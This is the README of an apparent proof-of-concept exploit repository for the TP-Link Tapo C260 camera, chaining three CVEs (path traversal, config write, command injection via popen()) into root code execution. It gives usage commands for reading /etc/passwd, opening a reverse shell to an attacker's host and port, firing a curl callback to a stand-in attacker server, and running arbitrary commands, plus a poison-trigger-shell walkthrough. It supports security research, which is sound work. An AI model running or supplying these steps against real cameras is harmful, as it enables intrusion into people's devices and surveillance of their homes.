PoC exploit chain for TP-Link Tapo C260 camera — CVE-2026-0651/0652/0653. Research by @spaceraccoon.
Proof-of-concept exploit chain for TP-Link Tapo C260 IP camera achieving unauthenticated-to-root RCE by chaining three vulnerabilities discovered by Eugene Lim (Spaceraccoon).
All vulnerability research and discovery by Eugene Lim (@spaceraccoon).
This repo is a PoC implementation based on his public writeup. If you find this useful, go buy his book: From Day Zero to Zero Day: A Hands-On Guide to Vulnerability Research (No Starch Press).
| CVE | Type | Impact |
|---|---|---|
| CVE-2026-0651 | Path Traversal / Local File Disclosure | Read arbitrary files via /%2e%2e%2f in the HTTP GET handler |
| CVE-2026-0652 | Arbitrary Config Write | Guest-level users can write to any config path via JSON key manipulation in the cloud API |
| CVE-2026-0653 | Command Injection / Privilege Escalation | set_region_code_handle passes unsanitized dev_name config value to popen() |
LFD (read device config) --> Config Write (poison dev_name) --> Trigger region code handler --> popen() --> shell
git clone https://github.com/<you>/tapo-c260-rce.git
cd tapo-c260-rce
pip install -r requirements.txt
Read arbitrary files from a camera on the local network:
python lfd.py --host 192.168.1.100 --token <stok_token> --file /etc/passwd
# Reverse shell
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--lhost <YOUR_IP> \
--lport 4444
# Callback only (curl ping)
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--callback http://your-server.com/pwned
# Custom command
python exploit.py \
--cloud-host aps1-app-server.iot.i.tplinkcloud.com \
--device-id <DEVICE_ID> \
--cloud-token <CLOUD_AUTH_TOKEN> \
--cmd "id > /tmp/pwned"
Poison — Sends a setLedStatus request with manipulated JSON keys that writes a shell metacharacter payload into the tp_manage/info/dev_name config path on the device.
Trigger — Sends a set_region_code request. The handler reads dev_name from config and interpolates it into a popen() call without sanitization, executing the injected command.
Shell — The attacker receives a callback or reverse shell.
/bin/main omnibus binaryThis tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The authors are not responsible for misuse. Always obtain explicit permission before testing against any device you do not own.